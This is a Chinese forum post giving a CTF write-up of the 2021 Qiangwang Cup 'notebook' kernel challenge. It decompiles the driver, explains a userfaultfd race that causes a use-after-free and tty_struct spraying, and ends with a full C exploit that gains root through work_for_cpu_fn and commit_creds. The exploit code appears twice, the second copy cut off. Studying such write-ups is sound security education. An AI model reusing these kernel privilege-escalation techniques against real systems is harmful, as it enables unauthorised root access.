首页
社区
课程
招聘
[原创]强网杯线上赛Linux内核Pwn之notebook
发表于: 2021-7-14 19:58 11606

[原创]强网杯线上赛Linux内核Pwn之notebook

2021-7-14 19:58
11606

刚刚从强网杯的线下赛回来,想整理一下这届强网杯我觉得不错的一些题or思路。

缓解:kaslr,smep,smap

额外加固:slab hardened

之前发现了一个从bzImage中提取vmlinux并恢复部分符号的脚本,还不错:
https://github.com/marin-m/vmlinux-to-elf

本篇文章讲解的利用思路是依据线上赛冠军队 @长亭科技 的WP,感觉比我自己的要稳定和便利很多。

Step1:
首先我们多次打开ptmx结构体,在打开的时候会在 alloc_tty_struct 函数中调用 tty = kzalloc(sizeof(*tty), GFP_KERNEL); 分配空间(大小0x2e0),对应的是 kmalloc-1024

Step2:
然后系统会将tty struct中的struct tty_operations 初始为全局内核变量 ptm_unix98_ops ,它是可以从 /proc/kallsyms 中获取相应地址/偏移。

Step3:
之后将喷射后的tty struct通过close给free出去。然后调用noteedit调整note大小到0x2e0,申请多个0x2e0的note,那么就会把我们free出去的tty struct拿回来。输出 ((uint64_t *)note)[3] 位置的值减去偏移即可泄漏kernel base。

我们把目光放在两个用了读锁的函数。发现:

于是这就产生了一个问题,如果将 user_buf 设置为一个为没有初始化的内存区域。并且不在userfault中起额外的handler做内存恢复。那么这两个函数就会一直卡在copy_from_user之前。

而krealloc又可以产生一个free操作,也就是说现在我们可以通过userfault来制造出一个任意大小的UAF。(因为被卡住的thread无法执行copy_from_user之后的更新notelist中相关地址的代码)

Step1:
首先我们注册自己的userfaultfd,监控一块未初始化的内存,而在add和edit的时候由于其只拿了读写锁中的读锁,而不是互斥的写锁,那么这两个函数其实是可以并发的。我们注意到在noteedit和noteadd中都有 copy_from_user(name, user_buf, 0x100LL); 这个从用户态的 user_buf 拷贝的操作,那么我们设置user_buf为mmap后未初始化的内存,在这里触发userfault,当缺页发生时,程序会阻塞掉。我们将notelist填满0x2e0大小的chunk,然后开启0x10个edit线程,0x10个add线程。通过edit线程krealloc对应note为一个很大的size ,此时会触发krealloc的kfree,将我们0x2e0的chunk进行free操作(但此时由于线程被卡在copy_from_user,notelist中的addr并没有被修改,仍是已经free后的chunk addr,但size此时变成了一个极大值,这里就是UAF的位置);接下来喷射大量的 tty_struct 把我们free chunk中填成tty_struct。然后通过add线程修改notelist中的chunksize为正常大小以通过 __check_object_size 的检查。

Step2:
第一步结束之后,notelist上的一些note已经被放置成了tty_struct ,我们通过read操作读取对应的notelist上的tty_struct中的成员,泄漏kernel base(参见思路一,实际情况下这里可能是ptm_unix98_ops或者pty_unix98_ops)

Step3:
接下来,我们通过伪造一个fake_tty_ops放到notelist的其中项,在fake ops中,我们让ioctl函数指向 work_for_cpu_fn

这个函数是一个很好用的函数,其实做的事情非常简单,调用了 (a1+32),参数为 *(a1+40) ,返回值放在 (a1+48)的位置。配合我们的tty_struct。a1就指向notelist上之前race+UAF得到的tty_struct,然后伪造这个tty_struct 在偏移为32处的值为想调用的函数,40处的值为参数。返回值会被放在48的位置。

我们只需要布置出:

即可。刚好这两个函数调用都只有一个参数,并且第二次调用使用了第一次调用的返回值。这些我们都可以控制。(节省了ROP的过程)

最后,针对ptmx调用ioctl函数,即可通过触发 work_for_cpu_fn 调用 commit_creds(prepare_kernel_cred(0))

效果:
图片描述

kernel exploit 有用的结构体

线程同步,信号量

 
 
__int64 __fastcall mynote_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 v3; // rdx
  userarg notearg; // [rsp+0h] [rbp-28h]
 
  _fentry__(file);
  copy_from_user(&notearg, v3, 0x18LL);
  if ( cmd == 0x100 )
    return noteadd(notearg.idx, notearg.size, notearg.buf);
  if ( cmd <= 0x100 )
  {
    if ( cmd == 0x64 )
      return notegift(notearg.buf);
  }
  else
  {
    if ( cmd == 0x200 )
      return notedel(notearg.idx);
    if ( cmd == 0x300 )
      return noteedit(notearg.idx, notearg.size, notearg.buf);
  }
  printk("[x] Unknown ioctl cmd!\n", notearg.size);
  return -100LL;
}
__int64 __fastcall mynote_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 v3; // rdx
  userarg notearg; // [rsp+0h] [rbp-28h]
 
  _fentry__(file);
  copy_from_user(&notearg, v3, 0x18LL);
  if ( cmd == 0x100 )
    return noteadd(notearg.idx, notearg.size, notearg.buf);
  if ( cmd <= 0x100 )
  {
    if ( cmd == 0x64 )
      return notegift(notearg.buf);
  }
  else
  {
    if ( cmd == 0x200 )
      return notedel(notearg.idx);
    if ( cmd == 0x300 )
      return noteedit(notearg.idx, notearg.size, notearg.buf);
  }
  printk("[x] Unknown ioctl cmd!\n", notearg.size);
  return -100LL;
}
__int64 __fastcall noteadd(size_t idx, size_t my_size, void *buf)
{
  __int64 v3; // rdx
  __int64 user_buf; // r13
  note *entry; // rbx
  size_t orgisize; // r14
  __int64 ret; // rbx
 
  _fentry__(idx);
  if ( idx > 0xF )                              // 无法对0x10进行add
  {
    ret = -1LL;
    printk("[x] Add idx out of range.\n", my_size);
  }
  else                                          // idx不越界的话
  {
    user_buf = v3;
    entry = &notebook[idx];
    raw_read_lock(&lock);                       // 读锁
    orgisize = entry->size;                     // 首先保存原有的size(如果对应的idx中本来就有信息)
    entry->size = my_size;                      // 赋值为新size
    if ( my_size > 0x60 )                       // 如果超过0x60,恢复size,ret
    {
      entry->size = orgisize;
      ret = -2LL;
      printk("[x] Add size out of range.\n", my_size);
    }
    else                                        // size<=0x60为合法的size
    {
      copy_from_user(name, user_buf, 0x100LL);
      if ( entry->note )                        // 如果note存在的话,恢复size,ret
      {
        entry->size = orgisize;
        ret = -3LL;
        printk("[x] Add idx is not empty.\n", user_buf);
      }
      else                                      // 如果note不存在,此时可以正常进行添加
      {
        entry->note = _kmalloc(my_size, 0x24000C0LL);
        printk("[+] Add success. %s left a note.\n", name);
        ret = 0LL;
      }
    }
    raw_read_unlock(&lock);
  }
  return ret;
}
__int64 __fastcall noteadd(size_t idx, size_t my_size, void *buf)
{
  __int64 v3; // rdx
  __int64 user_buf; // r13
  note *entry; // rbx
  size_t orgisize; // r14
  __int64 ret; // rbx
 
  _fentry__(idx);
  if ( idx > 0xF )                              // 无法对0x10进行add
  {
    ret = -1LL;
    printk("[x] Add idx out of range.\n", my_size);
  }
  else                                          // idx不越界的话
  {
    user_buf = v3;
    entry = &notebook[idx];
    raw_read_lock(&lock);                       // 读锁
    orgisize = entry->size;                     // 首先保存原有的size(如果对应的idx中本来就有信息)
    entry->size = my_size;                      // 赋值为新size
    if ( my_size > 0x60 )                       // 如果超过0x60,恢复size,ret
    {
      entry->size = orgisize;
      ret = -2LL;
      printk("[x] Add size out of range.\n", my_size);
    }
    else                                        // size<=0x60为合法的size
    {
      copy_from_user(name, user_buf, 0x100LL);
      if ( entry->note )                        // 如果note存在的话,恢复size,ret
      {
        entry->size = orgisize;
        ret = -3LL;
        printk("[x] Add idx is not empty.\n", user_buf);
      }
      else                                      // 如果note不存在,此时可以正常进行添加
      {
        entry->note = _kmalloc(my_size, 0x24000C0LL);
        printk("[+] Add success. %s left a note.\n", name);
        ret = 0LL;
      }
    }
    raw_read_unlock(&lock);
  }
  return ret;
}
__int64 __fastcall noteedit(size_t idx, size_t newsize, void *buf)
{
  __int64 buf_1; // rdx
  __int64 user_buf; // r13
  note *entry; // rbx
  size_t orgisize; // rax
  __int64 addr; // r12
  __int64 ret; // rbx
 
  _fentry__(idx);
  if ( idx > 0xF )                              // 无法对0x10进行edit
  {
    ret = -1LL;
    printk("[x] Edit idx out of range.\n", newsize);
    return ret;
  }
  user_buf = buf_1;
  entry = &notebook[idx];
  raw_read_lock(&lock);                         // 读锁
  orgisize = entry->size;                       // 保存原本的size
  entry->size = newsize;                        // 先把newsize赋值过去
  if ( orgisize == newsize )
  {
    ret = 1LL;
    goto editout;
  }
  addr = (*krealloc.gap0)(entry->note, newsize, 0x24000C0LL);// free掉本来的chunk,然后申请新的chunk
  copy_from_user(name, user_buf, 0x100LL);      // 从第三个参数user_buf拷贝数据,如果此时userbuf没有初始化调入内存,那么会触发userfaultfd
  if ( !entry->size )                           // 如果新的size为0,等价于kfree(entry->note)
  {
    printk("free in fact", user_buf);
    entry->note = 0LL;
    ret = 0LL;
    goto editout;
  }
  if ( _virt_addr_valid(addr) )                 // 如果是有效地址的话
  {
    entry->note = addr;                         // 这里只用更新addr,因为size已经在前面更新过了
    ret = 2LL;
editout:
    raw_read_unlock(&lock);
    printk("[o] Edit success. %s edit a note.\n", name);
    return ret;
  }
  printk("[x] Return ptr unvalid.\n", user_buf);
  raw_read_unlock(&lock);
  return 3LL;
}
__int64 __fastcall noteedit(size_t idx, size_t newsize, void *buf)
{
  __int64 buf_1; // rdx
  __int64 user_buf; // r13
  note *entry; // rbx
  size_t orgisize; // rax
  __int64 addr; // r12
  __int64 ret; // rbx
 
  _fentry__(idx);
  if ( idx > 0xF )                              // 无法对0x10进行edit
  {
    ret = -1LL;
    printk("[x] Edit idx out of range.\n", newsize);
    return ret;
  }
  user_buf = buf_1;
  entry = &notebook[idx];
  raw_read_lock(&lock);                         // 读锁
  orgisize = entry->size;                       // 保存原本的size
  entry->size = newsize;                        // 先把newsize赋值过去
  if ( orgisize == newsize )
  {
    ret = 1LL;
    goto editout;
  }
  addr = (*krealloc.gap0)(entry->note, newsize, 0x24000C0LL);// free掉本来的chunk,然后申请新的chunk
  copy_from_user(name, user_buf, 0x100LL);      // 从第三个参数user_buf拷贝数据,如果此时userbuf没有初始化调入内存,那么会触发userfaultfd
  if ( !entry->size )                           // 如果新的size为0,等价于kfree(entry->note)
  {
    printk("free in fact", user_buf);
    entry->note = 0LL;
    ret = 0LL;
    goto editout;
  }
  if ( _virt_addr_valid(addr) )                 // 如果是有效地址的话
  {
    entry->note = addr;                         // 这里只用更新addr,因为size已经在前面更新过了
    ret = 2LL;
editout:
    raw_read_unlock(&lock);
    printk("[o] Edit success. %s edit a note.\n", name);
    return ret;
  }
  printk("[x] Return ptr unvalid.\n", user_buf);
  raw_read_unlock(&lock);
  return 3LL;
}
__int64 __fastcall notegift(void *buf)
{
  __int64 v1; // rsi
 
  _fentry__(buf);
  printk("[*] The notebook needs to be written from beginning to end.\n", v1);
  copy_to_user(buf, notebook, 0x100LL);
  printk("[*] For this special year, I give you a gift!\n", notebook);
  return 100LL;
}
__int64 __fastcall notegift(void *buf)
{
  __int64 v1; // rsi
 
  _fentry__(buf);
  printk("[*] The notebook needs to be written from beginning to end.\n", v1);
  copy_to_user(buf, notebook, 0x100LL);
  printk("[*] For this special year, I give you a gift!\n", notebook);
  return 100LL;
}
ssize_t __fastcall mynote_write(file *file, const char *user_buf, size_t idx, loff_t *pos)
{
  unsigned __int64 idx_1; // rdx
  unsigned __int64 index; // rdx
  size_t nbytes; // r13
  void *addr; // rbx
  ssize_t result; // rax
 
  _fentry__(file);
  if ( idx_1 > 0x10 )
  {
    printk("[x] Write idx out of range.\n", user_buf);
    result = -1LL;
  }
  else
  {
    index = idx_1;
    nbytes = notebook[index].size;
    addr = notebook[index].note;
    _check_object_size(addr, nbytes, 0LL);
    if ( copy_from_user(addr, user_buf, nbytes) )
    {
      printk("[x] copy from user error.\n", user_buf);
      result = 0LL;
    }
    else
    {
      printk("[*] Write success.\n", user_buf);
      result = 0LL;
    }
  }
  return result;
}
ssize_t __fastcall mynote_write(file *file, const char *user_buf, size_t idx, loff_t *pos)
{
  unsigned __int64 idx_1; // rdx
  unsigned __int64 index; // rdx
  size_t nbytes; // r13
  void *addr; // rbx
  ssize_t result; // rax
 
  _fentry__(file);
  if ( idx_1 > 0x10 )
  {
    printk("[x] Write idx out of range.\n", user_buf);
    result = -1LL;
  }
  else
  {
    index = idx_1;
    nbytes = notebook[index].size;
    addr = notebook[index].note;
    _check_object_size(addr, nbytes, 0LL);
    if ( copy_from_user(addr, user_buf, nbytes) )
    {
      printk("[x] copy from user error.\n", user_buf);
      result = 0LL;
    }
    else
    {
      printk("[*] Write success.\n", user_buf);
      result = 0LL;
    }
  }
  return result;
}
ssize_t __fastcall mynote_read(file *file, char *user_buf, size_t idx, loff_t *pos)
{
  unsigned __int64 idx_1; // rdx
  unsigned __int64 index; // rdx
  size_t nbytes; // r13
  void *addr; // rbx
  ssize_t result; // rax
 
  _fentry__(file);
  if ( idx_1 > 0x10 )                           // 可以read 0x10
  {
    printk("[x] Read idx out of range.\n", user_buf);
    result = -1LL;
  }
  else                                          // 可以读取 0x10处的内容
  {
    index = idx_1;
    nbytes = notebook[index].size;
    addr = notebook[index].note;
    _check_object_size(addr, nbytes, 1LL);
    copy_to_user(user_buf, addr, nbytes);
    printk("[*] Read success.\n", addr);
    result = 0LL;
  }
  return result;
}
ssize_t __fastcall mynote_read(file *file, char *user_buf, size_t idx, loff_t *pos)
{
  unsigned __int64 idx_1; // rdx
  unsigned __int64 index; // rdx
  size_t nbytes; // r13
  void *addr; // rbx
  ssize_t result; // rax
 
  _fentry__(file);
  if ( idx_1 > 0x10 )                           // 可以read 0x10
  {
    printk("[x] Read idx out of range.\n", user_buf);
    result = -1LL;
  }
  else                                          // 可以读取 0x10处的内容
  {
    index = idx_1;
    nbytes = notebook[index].size;
    addr = notebook[index].note;
    _check_object_size(addr, nbytes, 1LL);
    copy_to_user(user_buf, addr, nbytes);
    printk("[*] Read success.\n", addr);
    result = 0LL;
  }
  return result;
}
 
 
 
 
 
 
__int64 __fastcall work_for_cpu_fn(_QWORD *a1)
{
  _QWORD *v1; // rbx
  __int64 (*v2)(void); // rax
  __int64 v3; // rdi
  __int64 result; // rax
 
  _fentry__(a1);
  v1 = a1;
  v2 = a1[4];                                   // a1+32
  v3 = a1[5];                                   // a1+40
  result = _x86_indirect_thunk_rax(v2);
  v1[6] = result;                               // a1+48
  return result;
}
__int64 __fastcall work_for_cpu_fn(_QWORD *a1)
{
  _QWORD *v1; // rbx
  __int64 (*v2)(void); // rax
  __int64 v3; // rdi
  __int64 result; // rax
 
  _fentry__(a1);
  v1 = a1;
  v2 = a1[4];                                   // a1+32
  v3 = a1[5];                                   // a1+40
  result = _x86_indirect_thunk_rax(v2);
  v1[6] = result;                               // a1+48
  return result;
}
 
commit_creds(prepare_kernel_cred(0))
commit_creds(prepare_kernel_cred(0))
 
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
 
#include <errno.h>
#include <pty.h>
#include <linux/tty.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include<stdint.h>
#include <pthread.h>
#include <sys/types.h> 
#include <sys/wait.h>
#include "helper.h"
#include <semaphore.h>
#define N 256
#define ADD 0x100
#define LEAK 100
#define DEL 0x200
#define EDIT 0x300
 
#define TTY_STRUCT_SIZE 0x2E0
 
#define PAGE_SIZE (1 << 12)
 
 
char* mod_path = "/dev/notebook";
 
size_t mod_addr;
static int fd;
static int fd2;
static int ptmx_fd[0x100];
int exit_flag=0;
size_t kernel_base = 0;
size_t kernel_offset = 0;
static int flag=0;
char buf[0x2000];
char read_buf[0x2000];
char buffer[0x1000];
void *stuck = (void *)FAULT_PAGE;   //addr trigger fault
size_t victim_id;
 
 
typedef struct arg{
    uint64_t idx;
    uint64_t size;
    void * buf;
}Notearg;
 
 
size_t get_addr(char *name){
    char t1[N];
    FILE *f;
    size_t info;
 
    f = fopen("/tmp/moduleaddr","r");
    if(!f){
        printf("fopen error!\n");
        exit(-1);
    }
    fscanf(f,"%s%d%d%s%s%lx",t1,t1,t1,t1,t1,&info);
    //printf("%s : %lx\n",name,info);
    fclose(f);
    return info;
}
 
Notearg constructor(int fd , uint64_t idx,uint64_t size,void *buf)
{
    unsigned int cmd = ADD;
    Notearg arg = {
        .idx = idx,
        .size = size,
        .buf = buf,
    };
 
    int ret_val = ioctl(fd,cmd,(uint64_t)&arg);
    if(ret_val < 0){
        //printf("constructor failed [id] %d\n",fd);
        exit(-1);
    }
    //printf("[*] constructor success, note id: 0x%x\n",idx);
    return arg;
    //return arg;
}
 
void leak(int fd,Notearg *ptr)
{
    unsigned int cmd = LEAK;
    int ret = ioctl(fd,cmd,(uint64_t)ptr);
 
}
 
 __attribute__((constructor)) static void Init ( void )
{
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    mod_addr =  get_addr("notebook");
    printf("[+] notebook load addr:0x%lx\n",mod_addr);
}
 
int noteedit(int fd , uint64_t idx,uint64_t newsize,void *buf)
{
    unsigned int cmd = EDIT;
    Notearg arg = {
        .idx = idx,
        .size = newsize,
        .buf = buf,
    };
    int ret_val = ioctl(fd, cmd, (uint64_t)&arg);
    //printf("[ret] %d realloc new size:0x%lx\n",ret_val,newsize);
    return 0;
}
int notefree(int fd, int idx)
{
    int ret;
    unsigned int cmd = DEL;
    Notearg arg = {
        .idx = idx,
    };
    ret = ioctl(fd,cmd,(uint64_t)&arg);
    if(ret<0){printf("[ret] %d [index] %d free failed",ret,idx);}
    //printf("[id] %d free success\n",idx);
};
 
void shell(){
    system("/bin/sh");
}
 
 
void dump(Notearg arg){
    leak(fd, &arg);
    for(int j,i=0;i<0x10*2;i = i+2){
        j = i+1;
        printf("[--dump--] 0x%lx\t0x%lx\n",((uint64_t *)(&arg)->buf)[i], ((uint64_t *)(&arg)->buf)[j]);
    }
}
 
 
sem_t add;sem_t edit;
void *evil_thread_noteadd(void *arg){
    sem_wait(&add);
    //printf("[+] evil_thread_noteadd\n");
    constructor(fd,(int)arg,0x60,stuck);   //trigger our userfaultfd
    return NULL;
}
 
 
void *evil_thread_noteedit(void *arg){
    sem_wait(&edit);
    //printf("[+] evil_thread_noteedit\n");
    noteedit(fd,(int)arg, 0x2000, stuck);   //trigger our userfaultfd
    return NULL;
}
void* handler(void *arg){
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long)arg;
    puts("[+] leak_handler created");
    //getchar();
    sleep(3); //休眠一下,留给子进程足够时间操作
    puts("[+] restore stuck begin");
    struct pollfd pollfd;
    int nready;
    pollfd.fd     = uffd;
    pollfd.events = POLLIN;
    //poll会阻塞,直到收到缺页错误的消息
    nready = poll(&pollfd, 1, -1);
    if (nready != 1)
        puts("[-] Wrong pool return value");
    nready = read(uffd, &msg, sizeof(msg));
    if (nready <= 0) {
        puts("[-]msg error!!");
    }
 
    char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
        puts("[-]mmap page error!!");
    struct uffdio_copy uc;
    //初始化page页
    memset(page, 0, sizeof(page));
    uc.src = (unsigned long)page;
    //出现缺页的位置
    uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
    uc.len = PAGE_SIZE;
    uc.mode = 0;
    uc.copy = 0;
    //复制数据到缺页处,并恢复copy_user_generic_unrolled的执行
    //然而,我们在阻塞的这段时间,堆0的内容已经是tty_struct结构
    //因此,copy_user_generic_unrolled将会把tty_struct的结构复制给我们用户态
    ioctl(uffd, UFFDIO_COPY, &uc);
 
    puts("[+] handler done!!");
    return NULL;
 
}
 
//read stuct (trigger) -> child process free & spray -> userfault_handler restore stuck -> read from stuck
 
 
int main()
{  
 
    signal(SIGSEGV, shell);
    save_status();
    set_cpu_affinity();
 
 
 
    memset(buf,0,sizeof(buf));
    memset(read_buf,0,sizeof(read_buf));
    printf("[+] buf addr:%p\n",buf);
    fd = open(mod_path,O_RDWR);
    if(fd < 0){perror("[-] fd open failed");exit(-1);}
    fd2 = open(mod_path,O_RDWR);
    if(fd2 < 0){perror("[-] fd2 open failed");exit(-1);}
 
 
    sem_init(&edit,0,0);    //初始化信号量
    sem_init(&add,0,0);
    register_userfault(handler);   //注册新的userfault,监视:void *stuck = (void *)FAULT_PAGE;
 
    Notearg arg = constructor(fd , 0, 0x60 ,buf);
    for(int i=0;i<0x10;i++){
        noteedit(fd,i,TTY_STRUCT_SIZE,buf);
    }
 
    //dump(arg);
    sleep(1);
 
    pthread_t edit_thread;
    pthread_t add_thread;
    for(int index=0;index<0x10;index++){
        if(pthread_create(&edit_thread,NULL,evil_thread_noteedit,(void *)index)){
            perror("pthread_create() failed");
            exit(-1);
        }
    }
    printf("[+] 0x10 edit_threads are set-up : | \n");
 
    for(int i=0;i<0x10;i++){
        sem_post(&edit);
    }
    printf("[+] 0x10 edit_threads launch : ) \n");
 
    sleep(1);
    //此时我们原本申请的多个0x2e0的chunk已经被krealloc free掉,但是由于krealloc后的copy_from_user触发了userfault,导致线程一直被卡住,不会更新notelist上的entry
 
 
 
 
 
    //接下来我们喷射大量的 tty_truct 希望可以将tty_struct喷射到刚刚free掉的chunk中。
    for(int i=0;i<0x100;i++){
        ptmx_fd[i] =  open("/dev/ptmx",1);
        if(ptmx_fd[i]<=0){printf("open ptmx failed\n");}
    }
    printf("[+] spray 0x100 tty success : )\n");
 
 
    //dump(arg);
    //getchar();
    sleep(1);
    for(int index=0;index<0x10;index++){
        if(pthread_create(&add_thread,NULL,evil_thread_noteadd,(void *)index)){
            perror("pthread_create() failed");
            exit(-1);
        }
    }
    printf("[+] 0x10 add_threads are set-up : | \n");
 
    for(int i=0;i<0x10;i++){
        sem_post(&add);
    }
    printf("[+] 0x10 add_threads launch : ) \n");
 
    sleep(1);
    //dump(arg);
    //getchar();
    for(int i=0;i<0x10;i++){
        read(fd,read_buf,i);
        if((((size_t *)read_buf)[3]&0xfff)==0x320){
            puts("[*] detect pty_unix98_ops success : )");
            victim_id = i;
            printf("[*] victim id:%d\n",victim_id);
            kernel_base = ((uint64_t *)read_buf)[3] - 0xe8e320;
            kernel_offset = get_kernel_offset(kernel_base);
            break;
        }
        if((((size_t *)read_buf)[3]&0xfff)==0x440){
            puts("[*] detect ptm_unix98_ops success : )");
            victim_id = i;
            printf("[*] victim id:%d\n",victim_id);
            kernel_base = ((uint64_t *)read_buf)[3] - 0xe8e440;
            kernel_offset = get_kernel_offset(kernel_base);
            break;
 
        }
    }
    if(kernel_base == 0 || (kernel_base & 0xfff)!=0){puts("[-] leak kernel base failed");exit(0);}
    printf("[+] kernel base:%#lx\n",kernel_base);
    printf("[+] kernel offset:%#lx\n",kernel_offset);
    size_t prepare_kernel_cred = 0xffffffff810a9ef0+kernel_offset;
    size_t commit_creds = 0xffffffff810a9b40 + kernel_offset;
    size_t work_for_cpu_fn = 0xffffffff8109eb90 + kernel_offset;
    printf("[+] prepare_kernel_cred:%#lx\n",prepare_kernel_cred);
    printf("[+] commit_creds:%#lx\n",commit_creds);
    printf("[+] work_for_cpu_fn:%#lx\n",work_for_cpu_fn);
 
 
    /* 接下来生成fake ops */
    void *fake_tty_ops = malloc(sizeof(struct tty_operations));
    printf("[+] %p\n",fake_tty_ops);
    noteedit(fd,8,sizeof(struct tty_operations),buf);                 //将fake ops放到0x8的chunk
    dump(arg);
 
    ((struct tty_operations *)fake_tty_ops)->ioctl = work_for_cpu_fn;  
    write(fd,fake_tty_ops,8);                                        //将fake ops的ioctl改成work_for_cpu_fn
 
 
    uint64_t target_ops,target_tty_struct;
    leak(fd, &arg);
    for(int j,i=0;i<0x10*2;i = i+2){
        j = i+1;
        //printf("[--dump--] 0x%lx\t0x%lx\n",((uint64_t *)(&arg)->buf)[i], ((uint64_t *)(&arg)->buf)[j]);
        if(((uint64_t *)(&arg)->buf)[j] == 0x100){
            target_ops = ((uint64_t *)(&arg)->buf)[i];
        }
        if(i==victim_id){
           target_tty_struct = ((uint64_t *)(&arg)->buf)[i];
        }
    }
 
    printf("[+] target_tty_struct:%#lx\n",target_tty_struct);   //我们要攻击的tty struct地址
    printf("[+] target_ops:%#lx\n",target_ops);                 //我们把fake ops放在了哪里
 
    read(fd,buffer,victim_id);
 
 
    uint64_t ori_val_at_offset_48;
    //调用ptmx的ioctl触发prepare_kernel_cred,因为ioctl第一个参数指向其本身(tty struct)
    ori_val_at_offset_48 = *(uint64_t *)(buffer + 48);  //因为后续的操作会破坏这里的值,所以我们首先保存一下
    *(uint64_t*)(buffer+24) = target_ops;               //const struct tty_operations *ops;
    *(uint64_t*)(buffer+32) = prepare_kernel_cred;      //prepare_kernel_cred(0);
    *(uint64_t*)(buffer+40) = 0;                        //第一个参数
    write(fd,buffer,victim_id);                     
    int ret;
    printf("[+] Trigger prepare_kernel_cred()\n");      //0xffffffff815b9f70 <pty_unix98_ioctl>:
 
    for(int i=0;i<0x100;i++){
        ret = ioctl(ptmx_fd[i],233,233);
    }
 
    sleep(2);
    uint64_t ret_val_at_offset_48;
 
    read(fd,buffer,victim_id);
    ret_val_at_offset_48 = *(uint64_t *)(buffer + 48);  //从偏移为48的位置获取返回值
    printf("[+] buffer addr: %p\n",buffer);
    getchar();
    printf("[+] Return by prepare_kernel_cred():%#lx\n",ret_val_at_offset_48);
    *(uint64_t*)(buffer+32) = commit_creds;             //commit_creds
    *(uint64_t*)(buffer+40) = ret_val_at_offset_48;     //第一个参数为prepare_kernel_cred(0)的返回值
    *((uint64_t *)buffer + 48) = ori_val_at_offset_48;  //restore offset 48
    write(fd,buffer,victim_id);
 
    //getchar();
    printf("[+] Trigger commit_creds()\n");
    for(int i=0;i<0x100;i++){
        ret = ioctl(ptmx_fd[i],233,233);
    }
 
 
 
    printf("[+] getuid() = %d\n",getuid());
    if(getuid()==0){
        printf("\n\n[*] Pwned by ScUpax0s!\n");
        shell();
    }else{
        printf("[-] Privileged fail\n");
        exit(0);
    }
    getchar();
    close(fd);
    close(fd2);
 
    return 0;
}
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
 
#include <errno.h>
#include <pty.h>
#include <linux/tty.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include<stdint.h>
#include <pthread.h>
#include <sys/types.h> 
#include <sys/wait.h>
#include "helper.h"
#include <semaphore.h>
#define N 256
#define ADD 0x100
#define LEAK 100
#define DEL 0x200
#define EDIT 0x300
 
#define TTY_STRUCT_SIZE 0x2E0
 
#define PAGE_SIZE (1 << 12)
 
 
char* mod_path = "/dev/notebook";
 
size_t mod_addr;
static int fd;
static int fd2;
static int ptmx_fd[0x100];
int exit_flag=0;
size_t kernel_base = 0;
size_t kernel_offset = 0;
static int flag=0;
char buf[0x2000];
char read_buf[0x2000];
char buffer[0x1000];
void *stuck = (void *)FAULT_PAGE;   //addr trigger fault
size_t victim_id;
 
 
typedef struct arg{
    uint64_t idx;
    uint64_t size;
    void * buf;
}Notearg;
 
 
size_t get_addr(char *name){
    char t1[N];
    FILE *f;
    size_t info;
 
    f = fopen("/tmp/moduleaddr","r");
    if(!f){
        printf("fopen error!\n");
        exit(-1);
    }
    fscanf(f,"%s%d%d%s%s%lx",t1,t1,t1,t1,t1,&info);
    //printf("%s : %lx\n",name,info);
    fclose(f);
    return info;
}
 
Notearg constructor(int fd , uint64_t idx,uint64_t size,void *buf)
{
    unsigned int cmd = ADD;
    Notearg arg = {
        .idx = idx,
        .size = size,
        .buf = buf,
    };
 
    int ret_val = ioctl(fd,cmd,(uint64_t)&arg);
    if(ret_val < 0){
        //printf("constructor failed [id] %d\n",fd);

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-7-16 15:20 被Roland_编辑 ,原因:
上传的附件:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//